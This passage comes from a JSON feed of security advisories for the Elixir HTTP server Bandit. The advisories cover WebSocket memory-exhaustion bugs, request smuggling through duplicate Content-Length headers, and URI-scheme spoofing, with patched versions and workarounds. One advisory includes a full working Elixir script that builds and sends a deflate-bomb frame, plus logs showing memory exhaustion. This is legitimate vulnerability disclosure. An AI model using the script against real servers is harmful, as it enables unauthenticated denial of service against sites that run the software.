MiB\n[11:04:36.343] Sent 3136/4096 continuations (~3136 MiB accumulated).\n[11:04:36.462] Sent 3200/4096 continuations (~3200 MiB accumulated).\n[11:04:36.580] Sent 3264/4096 continuations (~3264 MiB accumulated).\n[11:04:36.587] [mem] BEAM total = 3332 MiB\n[11:04:36.691] Sent 3328/4096 continuations (~3328 MiB accumulated).\n[11:04:36.806] Sent 3392/4096 continuations (~3392 MiB accumulated).\n[11:04:36.838] [mem] BEAM total = 3463 MiB\n[11:04:36.927] Sent 3456/4096 continuations (~3456 MiB accumulated).\n[11:04:37.041] Sent 3520/4096 continuations (~3520 MiB accumulated).\n[11:04:37.089] [mem] BEAM total = 3610 MiB\n[11:04:37.157] Sent 3584/4096 continuations (~3584 MiB accumulated).\n[11:04:37.273] Sent 3648/4096 continuations (~3648 MiB accumulated).\n[11:04:37.340] [mem] BEAM total = 3735 MiB\n[11:04:37.389] Sent 3712/4096 continuations (~3712 MiB accumulated).\n[11:04:37.504] Sent 3776/4096 continuations (~3776 MiB accumulated).\n[11:04:37.591] [mem] BEAM total = 3878 MiB\n[11:04:37.629] Sent 3840/4096 continuations (~3840 MiB accumulated).\n[11:04:37.745] Sent 3904/4096 continuations (~3904 MiB accumulated).\n[11:04:37.842] [mem] BEAM total = 4012 MiB\n[11:04:37.862] Sent 3968/4096 continuations (~3968 MiB accumulated).\n[11:04:37.982] Sent 4032/4096 continuations (~4032 MiB accumulated).\n[11:04:38.093] [mem] BEAM total = 4142 MiB\n[11:04:38.105] Sent 4096/4096 continuations (~4096 MiB accumulated).\n[11:04:38.105] Finished sending. Never sent fin=1 — server should still be holding the iolist.\n[11:04:38.344] [mem] BEAM total = 4149 MiB\n[11:04:38.596] [mem] BEAM total = 4149 MiB\n[11:04:38.847] [mem] BEAM total = 4149 MiB\n[11:04:39.098] [mem] BEAM total = 4149 MiB\n[11:04:39.349] [mem] BEAM total = 4149 MiB\n[11:04:39.600] [mem] BEAM total = 4149 MiB\n[11:04:39.851] [mem] BEAM total = 4149 MiB\n[11:04:40.102] [mem] BEAM total = 4149 MiB\n[11:04:40.106] Done.\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-07T03:43:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/mtrudel/bandit/security/advisories/GHSA-pf94-94m9-536p","https://nvd.nist.gov/vuln/detail/CVE-2026-42786","https://github.com/mtrudel/bandit/commit/21612c7c7b1ce43eccd36d3af3a2299d23513667","https://cna.erlef.org/cves/CVE-2026-42786.html","https://osv.dev/vulnerability/EEF-CVE-2026-42786","https://github.com/advisories/GHSA-pf94-94m9-536p"],"source_kind":"github","identifiers":["GHSA-pf94-94m9-536p","CVE-2026-42786"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-07T04:00:08.162Z","updated_at":"2026-07-27T14:02:13.249Z","epss_percentage":0.00549,"epss_percentile":0.4258,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZjk0LTk0bTktNTM2cM4ABWYE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wZjk0LTk0bTktNTM2cM4ABWYE","packages":[{"ecosystem":"hex","package_name":"bandit","versions":[{"first_patched_version":"1.11.0","vulnerable_version_range":"\u003e= 0.5.0, \u003c 1.11.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZjk0LTk0bTktNTM2cM4ABWYE/related_packages","related_advisories":[{"uuid":"EEF-CVE-2026-42786","source_kind":"erlef","url":"https://github.com/mtrudel/bandit/security/advisories/GHSA-pf94-94m9-536p"}]},{"uuid":"GSA_kwCzR0hTQS1mcmgzLTZwdjYtcmM4as4ABWYD","url":"https://github.com/advisories/GHSA-frh3-6pv6-rc8j","title":"Bandit's unbounded WebSocket inflate causes BEAM OOM with a single frame","description":"### Summary\n\nWhen a Bandit-fronted server has explicitly enabled WebSocket permessage-deflate (`compress: true`), an unauthenticated client can OOM the BEAM with a single ~6 MiB WebSocket frame. Bandit's inflate step has no output-size cap, so a small high-ratio compressed frame (e.g. zeros, ~1024:1 ratio) decompresses unbounded into the connection process before any application code runs. Phoenix and LiveView are **not** vulnerable by default — they ship with `compress: false`. Affected apps are those that have deliberately opted in to permessage-deflate.\n\n### Details\n\nIn `lib/bandit/websocket/permessage_deflate.ex:111-115`, `:zlib.inflate/2` is called without an output-size limit, and `IO.iodata_to_binary/1` then materializes the entire decompressed payload as one contiguous binary in the connection process's heap.\n\n`websocket_options.max_frame_size` only bounds the on-the-wire (compressed) frame, not the decompressed output. With ~1024:1 compression on uniform data, an attacker can stay well under any wire-size cap while still forcing GiB-scale allocations. There is no `{:more, ...}` resumable path on inflate, so upstream callers cannot interpose a 413/close before the allocation completes.\n\nThe bug is gated by two server-side flags being true at the same time:\n\n- Bandit's global `websocket_options.compress` (defaults to `true` per `bandit.ex:198-201`).\n- The per-upgrade `connection_opts.compress` passed to `WebSockAdapter.upgrade/4` (defaults to `false` per `websock_adapter.ex:42-43`; Phoenix's default is also `false` per `phoenix/lib/phoenix/transports/websocket.ex:33`).\n\nBoth must be true for the handshake at `bandit/lib/bandit/websocket/handshake.ex:22` to negotiate permessage-deflate. So the bug is only reachable on apps that explicitly opt in (e.g. `socket \"/ws\", MySocket, websocket: [compress: true]` in a Phoenix endpoint, or `WebSockAdapter.upgrade(conn, ..., compress: true)` in a plain Plug app).\n\n**Suggested fix:** thread a maximum-output-size through to inflate and either error out or return resumable chunks once exceeded, mirroring how the HTTP content-length path bounds reads via `:length`.\n\n### PoC\n\nA fully self-contained reproducer is attached below. It boots a local Bandit server that performs a `WebSockAdapter.upgrade(conn, EchoSocket, %{}, compress: true)`, opens one WebSocket connection, and sends a single text frame whose ~6 MiB compressed payload inflates to 6 GiB of zeros. Run it with `elixir ws_permessage_deflate_bomb.exs`.\n\nObserved on a 16 GiB Mac (Bandit 1.10.4, Elixir 1.18, otherwise default config):\n\n- Frame on the wire: ~6 MiB.\n- BEAM RSS climbed from ~80 MiB to ~12 GiB peak during inflate (6 GiB inflated payload + a transient 6 GiB copy held by `IO.iodata_to_binary/1`), then settled at ~6 GiB until the connection process was GC'd.\n- Tuning `@target_decompressed_bytes` upward, or opening N parallel connections, OOM-kills the BEAM outright.\n\nA separate observation worth flagging: in the default setup, something upstream caps wire-side frames at ~8 MiB even though Bandit's documented `max_frame_size` default is `0` (unlimited). The bug is reachable below that cap regardless, but the source of that effective cap is worth confirming.\n\n### Impact\n\nUnauthenticated, pre-application-code denial-of-service via memory exhaustion. A single frame from a single client is sufficient to drive a small host to OOM; concurrent connections amplify linearly. The attacker needs only that the server accepts a WebSocket connection — no authentication, no valid route, no application cooperation.\n\nAffected: any Bandit-fronted application that explicitly enables permessage-deflate on its WebSocket upgrade. Stock Phoenix and LiveView apps are **not** affected — both default to `compress: false`. Apps that opt in (typically for bandwidth savings on large payloads) inherit an unbounded-inflate DoS that the documentation does not warn about.\n\n```elixir\n# Bandit WebSocket permessage-deflate bomb PoC.\n#\n# lib/bandit/websocket/permessage_deflate.ex:111-115 calls :zlib.inflate/2\n# with no output-size cap. A small (~4 MiB) compressed frame inflates to\n# multiple GiB on the BEAM heap before any application code sees it.\n#\n# Note: in the default setup something upstream caps wire-side frames at\n# ~8 MiB even though Bandit's documented max_frame_size default is 0\n# (unlimited). The bug is reachable below that cap regardless.\n#\n# Run: elixir scripts/bandit/ws_permessage_deflate_bomb.exs\n\nMix.install([\n  {:bandit, \"~\u003e 1.10\"},\n  {:plug, \"~\u003e 1.19\"},\n  {:websock_adapter, \"~\u003e 0.5\"}\n])\n\ndefmodule EchoSocket do\n  @behaviour WebSock\n\n  def init(_opts), do: {:ok, %{}}\n  def handle_in(_message, state), do: {:ok, state}\n  def handle_info(_message, state), do: {:ok, state}\n  def terminate(_reason, state), do: {:ok, state}\nend\n\ndefmodule DemoApp do\n  @behaviour Plug\n  def init(opts), do: opts\n  def call(conn, _opts) do\n    conn\n    |\u003e WebSockAdapter.upgrade(EchoSocket, %{}, compress: true)\n    |\u003e Plug.Conn.halt()\n  end\nend\n\ndefmodule Bomb do\n  @port 4321\n  # 6 GiB inflated -\u003e ~6 MiB compressed (well under the ~8 MiB wire cap).\n  @target_decompressed_bytes 6 * 1024 * 1024 * 1024\n  @plaintext_chunk_bytes 10 * 1024 * 1024\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)\n\n    sock = ws_handshake!()\n    deflate_payload = build_deflate_bomb()\n    frame = compressed_text_frame(deflate_payload)\n\n    sampler_pid = spawn_link(\u0026sample_memory_loop/0)\n\n    log(\"Sending #{byte_size(frame)}-byte compressed frame…\")\n    :ok = :gen_tcp.send(sock, frame)\n    handle_recv(sock)\n\n    Process.unlink(sampler_pid)\n    Process.exit(sampler_pid, :kill)\n    :gen_tcp.close(sock)\n    log(\"Done.\")\n  end\n\n  # Open a TCP connection and complete the WebSocket handshake with\n  # permessage-deflate. Raises if the server doesn't negotiate it.\n  defp ws_handshake! do\n    {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n    ws_key = :crypto.strong_rand_bytes(16) |\u003e Base.encode64()\n\n    :ok =\n      :gen_tcp.send(sock, \"\"\"\n      GET / HTTP/1.1\\r\n      Host: 127.0.0.1\\r\n      Upgrade: websocket\\r\n      Connection: Upgrade\\r\n      Sec-WebSocket-Key: #{ws_key}\\r\n      Sec-WebSocket-Version: 13\\r\n      Sec-WebSocket-Extensions: permessage-deflate\\r\n      \\r\n      \"\"\")\n\n    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)\n    if not (response =~ \"permessage-deflate\"), do: raise(\"permessage-deflate not negotiated:\\n#{response}\")\n    log(\"Handshake complete.\")\n    sock\n  end\n\n  # Stream-deflate @target_decompressed_bytes worth of zeros so the client\n  # never holds the full plaintext at once. RFC 7692 uses raw deflate\n  # (window_bits=-15) and ends each message with 0x00 0x00 0xFF 0xFF, which\n  # we strip per the spec.\n  defp build_deflate_bomb do\n    chunk = :binary.copy(\u003c\u003c0\u003e\u003e, @plaintext_chunk_bytes)\n    chunk_count = div(@target_decompressed_bytes, @plaintext_chunk_bytes)\n    log(\"Deflating #{div(@target_decompressed_bytes, 1024 * 1024)} MiB plaintext…\")\n\n    zstream = :zlib.open()\n    :ok = :zlib.deflateInit(zstream, :default, :deflated, -15, 8, :default)\n    deflated_chunks = Enum.map(1..chunk_count, fn _ -\u003e :zlib.deflate(zstream, chunk, :none) end)\n    final_flush = :zlib.deflate(zstream, \u003c\u003c\u003e\u003e, :sync)\n    :zlib.close(zstream)\n\n    deflated = IO.iodata_to_binary([deflated_chunks, final_flush])\n    trailer_size = byte_size(deflated) - 4\n    \u003c\u003cpayload::binary-size(trailer_size), 0x00, 0x00, 0xFF, 0xFF\u003e\u003e = deflated\n\n    log(\"Compressed to #{byte_size(payload)} bytes (ratio ~#{div(@target_decompressed_bytes, byte_size(payload))}x).\")\n    payload\n  end\n\n  # Wrap payload in a single masked WebSocket text frame with RSV1 set\n  # (FIN=1, RSV1=1 indicates permessage-deflate compressed, opcode=0x1=text).\n  defp compressed_text_frame(payload) do\n    mask = :crypto.strong_rand_bytes(4)\n    payload_size = byte_size(payload)\n    mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)\n    masked_payload = :crypto.exor(payload, mask_stream)\n\n    length_bytes =\n      cond do\n        payload_size \u003c= 125 -\u003e \u003c\u003c1::1, payload_size::7\u003e\u003e\n        payload_size \u003c= 0xFFFF -\u003e \u003c\u003c1::1, 126::7, payload_size::16\u003e\u003e\n        true -\u003e \u003c\u003c1::1, 127::7, payload_size::64\u003e\u003e\n      end\n\n    \u003c\u003c1::1, 1::1, 0::2, 0x1::4, length_bytes::binary, mask::binary, masked_payload::binary\u003e\u003e\n  end\n\n  # EchoSocket.handle_in/2 doesn't reply, so recv times out after the\n  # observation window. That's enough to watch the BEAM heap spike.\n  defp handle_recv(sock) do\n    case :gen_tcp.recv(sock, 0, 5_000) do\n      {:ok, \u003c\u003c0x88, _len, close_code::16, close_reason::binary\u003e\u003e} -\u003e\n        log(\"Close frame: code=#{close_code} reason=#{inspect(close_reason)}\")\n\n      {:ok, bytes} -\u003e\n        log(\"Reply (#{byte_size(bytes)} bytes): #{inspect(bytes, base: :hex, limit: 64)}\")\n\n      {:error, :timeout} -\u003e\n        log(\"recv timed out (server held the inflated payload silently).\")\n\n      {:error, reason} -\u003e\n        log(\"Connection closed: #{inspect(reason)}\")\n    end\n  end\n\n  defp sample_memory_loop do\n    log(\"[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB\")\n    Process.sleep(250)\n    sample_memory_loop()\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |\u003e Time.truncate(:millisecond)}] #{message}\")\nend\n\nBomb.run()\n```\n\n#### Logs\n\n```\n10:15:24.243 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[08:15:24.269] Handshake complete.\n[08:15:24.321] Deflating 6144 MiB plaintext…\n[08:15:37.567] Compressed to 6257675 bytes (ratio ~1029x).\n[08:15:37.581] Sending 6257689-byte compressed frame…\n[08:15:37.582] [mem] BEAM total = 76 MiB\n[08:15:37.834] [mem] BEAM total = 759 MiB\n[08:15:38.087] [mem] BEAM total = 1480 MiB\n[08:15:38.338] [mem] BEAM total = 2214 MiB\n[08:15:38.589] [mem] BEAM total = 2724 MiB\n[08:15:38.840] [mem] BEAM total = 3410 MiB\n[08:15:39.091] [mem] BEAM total = 3877 MiB\n[08:15:39.342] [mem] BEAM total = 4268 MiB\n[08:15:39.593] [mem] BEAM total = 4815 MiB\n[08:15:39.845] [mem] BEAM total = 5270 MiB\n[08:15:40.096] [mem] BEAM total = 5766 MiB\n[08:15:40.347] [mem] BEAM total = 12451 MiB\n[08:15:40.598] [mem] BEAM total = 12452 MiB\n[08:15:40.850] [mem] BEAM total = 12452 MiB\n[08:15:41.101] [mem] BEAM total = 12452 MiB\n[08:15:41.353] [mem] BEAM total = 12452 MiB\n[08:15:41.606] [mem] BEAM total = 12451 MiB\n[08:15:41.856] [mem] BEAM total = 6229 MiB\n[08:15:42.107] [mem] BEAM total = 6229 MiB\n[08:15:42.358] [mem] BEAM total = 6229 MiB\n[08:15:42.582] recv timed out (server held the inflated payload silently).\n[08:15:42.584] Done.\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-07T03:36:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/mtrudel/bandit/security/advisories/GHSA-frh3-6pv6-rc8j","https://nvd.nist.gov/vuln/detail/CVE-2026-39804","https://github.com/mtrudel/bandit/commit/8156921a51e684a951221da7bc30a70a022f722e","https://cna.erlef.org/cves/CVE-2026-39804.html","https://osv.dev/vulnerability/EEF-CVE-2026-39804","https://github.com/advisories/GHSA-frh3-6pv6-rc8j"],"source_kind":"github","identifiers":["GHSA-frh3-6pv6-rc8j","CVE-2026-39804"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-07T04:00:08.162Z","updated_at":"2026-07-27T14:02:13.249Z","epss_percentage":0.00625,"epss_percentile":0.45506,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mcmgzLTZwdjYtcmM4as4ABWYD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mcmgzLTZwdjYtcmM4as4ABWYD","packages":[{"ecosystem":"hex","package_name":"bandit","versions":[{"first_patched_version":"1.11.0","vulnerable_version_range":"\u003e= 0.5.8, \u003c 1.11.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mcmgzLTZwdjYtcmM4as4ABWYD/related_packages","related_advisories":[{"uuid":"EEF-CVE-2026-39804","source_kind":"erlef","url":"https://github.com/mtrudel/bandit/security/advisories/GHSA-frh3-6pv6-rc8j"}]},{"uuid":"EEF-CVE-2026-39805","url":"https://github.com/mtrudel/bandit/security/advisories/GHSA-c67r-gc9j-2qf7","title":"CL.CL HTTP request smuggling via duplicate Content-Length in bandit","description":"## Summary\n\nInconsistent Interpretation of HTTP Requests vulnerability in mtrudel bandit allows HTTP request smuggling via duplicate Content-Length headers.\n\n'Elixir.Bandit.Headers':get\\_content\\_length/1 in lib/bandit/headers.ex uses List.keyfind/3, which returns only the first matching header. When a request contains two Content-Length headers with different values, Bandit silently accepts it, uses the first value to read the body, and dispatches the remaining bytes as a second pipelined request on the same keep-alive connection. RFC 9112 §6.3 requires recipients to treat this as an unrecoverable framing error.\n\nWhen Bandit sits behind a proxy that picks the last Content-Length value and forwards the request rather than rejecting it, an unauthenticated attacker can smuggle requests past edge WAF rules, path-based ACLs, rate limiting, and audit logging.\n\nThis issue affects bandit: before 1.11.0.","origin":"ERLEF","severity":"MEDIUM","published_at":"2026-05-01T20:34:29.400Z","withdrawn_at":null,"classification":null,"cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/mtrudel/bandit/security/advisories/GHSA-c67r-gc9j-2qf7","https://cna.erlef.org/cves/CVE-2026-39805.html","https://github.com/mtrudel/bandit/commit/f2ca636eb6df385219957e8934e9fc6efa1630d1","https://hex.pm/packages/bandit"],"source_kind":"erlef","identifiers":["EEF-CVE-2026-39805","GHSA-c67r-gc9j-2qf7","CVE-2026-39805"],"repository_url":"https://github.com/mtrudel/bandit","blast_radius":11.504271257015207,"created_at":"2026-05-01T21:15:41.469Z","updated_at":"2026-07-27T13:28:56.877Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/EEF-CVE-2026-39805","html_url":"https://advisories.ecosyste.ms/advisories/EEF-CVE-2026-39805","packages":[{"ecosystem":"hex","package_name":"bandit","versions":[{"first_patched_version":"1.11.0","vulnerable_version_range":"\u003e= 0.1.0, \u003c 1.11.0"}],"purl":null,"statistics":{"dependent_packages_count":28,"dependent_repos_count":67,"downloads":12603807,"downloads_period":"total"},"affected_versions":["0.1.0","0.1.1","0.2.0","0.2.1","0.2.2","0.2.3","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.4.10","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.5.10","0.5.11","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.6.9","0.6.10","0.6.11","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","1.0.0","1.0.0-pre.1","1.0.0-pre.2","1.0.0-pre.3","1.0.0-pre.4","1.0.0-pre.5","1.0.0-pre.6","1.0.0-pre.7","1.0.0-pre.8","1.0.0-pre.9","1.0.0-pre.10","1.0.0-pre.11","1.0.0-pre.12","1.0.0-pre.13","1.0.0-pre.14","1.0.0-pre.15","1.0.0-pre.16","1.0.0-pre.17","1.0.0-pre.18","1.1.0","1.1.1","1.1.2","1.1.3","1.2.0","1.2.1","1.2.2","1.2.3","1.3.0","1.4.0","1.4.1","1.4.2","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.6.10","1.6.11","1.7.0","1.8.0","1.9.0","1.10.0","1.10.1","1.10.2","1.10.3","1.10.4"],"unaffected_versions":["1.11.0","1.11.1","1.12.0","1.12.1","1.12.2","1.12.3"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/EEF-CVE-2026-39805/related_packages","related_advisories":[{"uuid":"GSA_kwCzR0hTQS1jNjdyLWdjOWotMnFmN84ABWYF","source_kind":"github","url":"https://github.com/advisories/GHSA-c67r-gc9j-2qf7"}]},{"uuid":"EEF-CVE-2026-39804","url":"https://github.com/mtrudel/bandit/security/advisories/GHSA-frh3-6pv6-rc8j","title":"WebSocket permessage-deflate inflate has no output-size cap in bandit","description":"## Summary\n\nAllocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion when WebSocket permessage-deflate compression is enabled.\n\n'Elixir.Bandit.WebSocket.PerMessageDeflate':inflate/2 in lib/bandit/websocket/permessage\\_deflate.ex calls :zlib.inflate/2 with no output-size cap, then materializes the entire decompressed payload as a single binary via IO.iodata\\_to\\_binary/1. The websocket\\_options.max\\_frame\\_size option only bounds the on-the-wire (compressed) frame size, not the decompressed output. A high-ratio compressed frame (e.g. uniform data at ~1024:1 ratio) can stay well under any wire-size limit while forcing GiB-scale heap allocations in the connection process before any application code runs.\n\nAn unauthenticated attacker who can open a WebSocket connection can send a single such frame to exhaust the BEAM node's memory and trigger an OOM kill.\n\nThis vulnerability requires both Bandit's server-level websocket\\_options.compress and the per-upgrade compress: true option passed to WebSockAdapter.upgrade/4 to be enabled. Stock Phoenix and LiveView applications are not affected as they default to compress: false.\n\nThis issue affects bandit: from 0.5.9 before 1.11.0.\n\n## Workaround\n\nDo not pass compress: true to WebSockAdapter.upgrade/4. Omitting this option (or setting it to false) prevents permessage-deflate from being negotiated, so the inflate path is never reached.\n\n## Configuration\n\nThe vulnerability is only reachable when both of the following conditions are true:\n- Bandit's server-level websocket\\_options.compress is enabled (it defaults to true).\n- The per-upgrade compress: true option is passed to WebSockAdapter.upgrade/4 (it defaults to false; Phoenix's default is also false).\n\nStock Phoenix and LiveView applications are not affected because compress: false is their default.","origin":"ERLEF","severity":"HIGH","published_at":"2026-05-01T20:34:24.604Z","withdrawn_at":null,"classification":null,"cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/mtrudel/bandit/security/advisories/GHSA-frh3-6pv6-rc8j","https://cna.erlef.org/cves/CVE-2026-39804.html","https://github.com/mtrudel/bandit/commit/8156921a51e684a951221da7bc30a70a022f722e","https://hex.pm/packages/bandit"],"source_kind":"erlef","identifiers":["EEF-CVE-2026-39804","GHSA-frh3-6pv6-rc8j","CVE-2026-39804"],"repository_url":"https://github.com/mtrudel/bandit","blast_radius":14.973813382146776,"created_at":"2026-05-01T21:15:41.399Z","updated_at":"2026-05-27T15:41:26.362Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/EEF-CVE-2026-39804","html_url":"https://advisories.ecosyste.ms/advisories/EEF-CVE-2026-39804","packages":[{"ecosystem":"hex","package_name":"bandit","versions":[{"first_patched_version":"1.11.0","vulnerable_version_range":"\u003e= 0.5.9, \u003c 1.11.0"}],"purl":null,"statistics":{"dependent_packages_count":28,"dependent_repos_count":67,"downloads":12603807,"downloads_period":"total"},"affected_versions":["0.5.9","0.5.10","0.5.11","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.6.9","0.6.10","0.6.11","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","1.0.0","1.0.0-pre.1","1.0.0-pre.2","1.0.0-pre.3","1.0.0-pre.4","1.0.0-pre.5","1.0.0-pre.6","1.0.0-pre.7","1.0.0-pre.8","1.0.0-pre.9","1.0.0-pre.10","1.0.0-pre.11","1.0.0-pre.12","1.0.0-pre.13","1.0.0-pre.14","1.0.0-pre.15","1.0.0-pre.16","1.0.0-pre.17","1.0.0-pre.18","1.1.0","1.1.1","1.1.2","1.1.3","1.2.0","1.2.1","1.2.2","1.2.3","1.3.0","1.4.0","1.4.1","1.4.2","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.6.10","1.6.11","1.7.0","1.8.0","1.9.0","1.10.0","1.10.1","1.10.2","1.10.3","1.10.4"],"unaffected_versions":["0.1.0","0.1.1","0.2.0","0.2.1","0.2.2","0.2.3","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.4.10","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","1.11.0","1.11.1","1.12.0","1.12.1","1.12.2","1.12.3"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/EEF-CVE-2026-39804/related_packages","related_advisories":[{"uuid":"GSA_kwCzR0hTQS1mcmgzLTZwdjYtcmM4as4ABWYD","source_kind":"github","url":"https://github.com/advisories/GHSA-frh3-6pv6-rc8j"}]},{"uuid":"EEF-CVE-2026-39807","url":"https://github.com/mtrudel/bandit/security/advisories/GHSA-375f-4r2h-f99j","title":"Client-supplied URI scheme trusted without transport verification in bandit","description":"## Summary\n\nReliance on Untrusted Inputs in a Security Decision vulnerability in mtrudel bandit allows unauthenticated transport-state spoofing on plaintext HTTP connections.\n\n'Elixir.Bandit.Pipeline':determine\\_scheme/2 in lib/bandit/pipeline.ex returns the client-supplied URI scheme verbatim, ignoring the transport's secure? flag. HTTP/1.1 absolute-form request targets (e.g. GET https://victim/path HTTP/1.1) and the HTTP/2 :scheme pseudo-header are both attacker-controlled strings that flow through this function. Over a plaintext TCP connection, a client can declare https and Bandit will set conn.scheme = :https even though no TLS was negotiated.\n\nDownstream Plug consumers that branch on conn.scheme are silently misled: Plug.SSL's already-secure branch skips its HTTP→HTTPS redirect, cookies emitted with secure: true are sent over plaintext, audit logs record requests as having arrived over HTTPS, and CSRF/SameSite gating may make incorrect decisions.\n\nThis issue affects bandit: from 1.0.0 before 1.11.0.\n\n## Configuration\n\nThe vulnerable system must be accepting plaintext (non-TLS) HTTP connections, either directly or via h2c. Deployments that exclusively use TLS are not affected.","origin":"ERLEF","severity":"MEDIUM","published_at":"2026-05-01T20:34:22.832Z","withdrawn_at":null,"classification":null,"cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/mtrudel/bandit/security/advisories/GHSA-375f-4r2h-f99j","https://cna.erlef.org/cves/CVE-2026-39807.html","https://github.com/mtrudel/bandit/commit/45feea20dea8af7ffd7245271107b695c040e667","https://hex.pm/packages/bandit"],"source_kind":"erlef","identifiers":["EEF-CVE-2026-39807","GHSA-375f-4r2h-f99j","CVE-2026-39807"],"repository_url":"https://github.com/mtrudel/bandit","blast_radius":11.504271257015207,"created_at":"2026-05-01T21:15:41.512Z","updated_at":"2026-05-27T15:41:35.917Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/EEF-CVE-2026-39807","html_url":"https://advisories.ecosyste.ms/advisories/EEF-CVE-2026-39807","packages":[{"ecosystem":"hex","package_name":"bandit","versions":[{"first_patched_version":"1.11.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.11.0"}],"purl":null,"statistics":{"dependent_packages_count":28,"dependent_repos_count":67,"downloads":12603807,"downloads_period":"total"},"affected_versions":["1.0.0","1.1.0","1.1.1","1.1.2","1.1.3","1.2.0","1.2.1","1.2.2","1.2.3","1.3.0","1.4.0","1.4.1","1.4.2","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.6.10","1.6.11","1.7.0","1.8.0","1.9.0","1.10.0","1.10.1","1.10.2","1.10.3","1.10.4"],"unaffected_versions":["0.1.0","0.1.1","0.2.0","0.2.1","0.2.2","0.2.3","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.4.10","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.5.10","0.5.11","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.6.9","0.6.10","0.6.11","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","1.11.0","1.11.1","1.12.0","1.12.1","1.12.2","1.12.3"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/EEF-CVE-2026-39807/related_packages","related_advisories":[{"uuid":"GSA_kwCzR0hTQS0zNzVmLTRyMmgtZjk5as4ABWYG","source_kind":"github","url":"https://github.com/advisories/GHSA-375f-4r2h-f99j"}]},{"uuid":"EEF-CVE-2026-42786","url":"https://github.com/mtrudel/bandit/security/advisories/GHSA-pf94-94m9-536p","title":"WebSocket fragmented message reassembly unbounded in bandit","description":"## Summary\n\nAllocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows 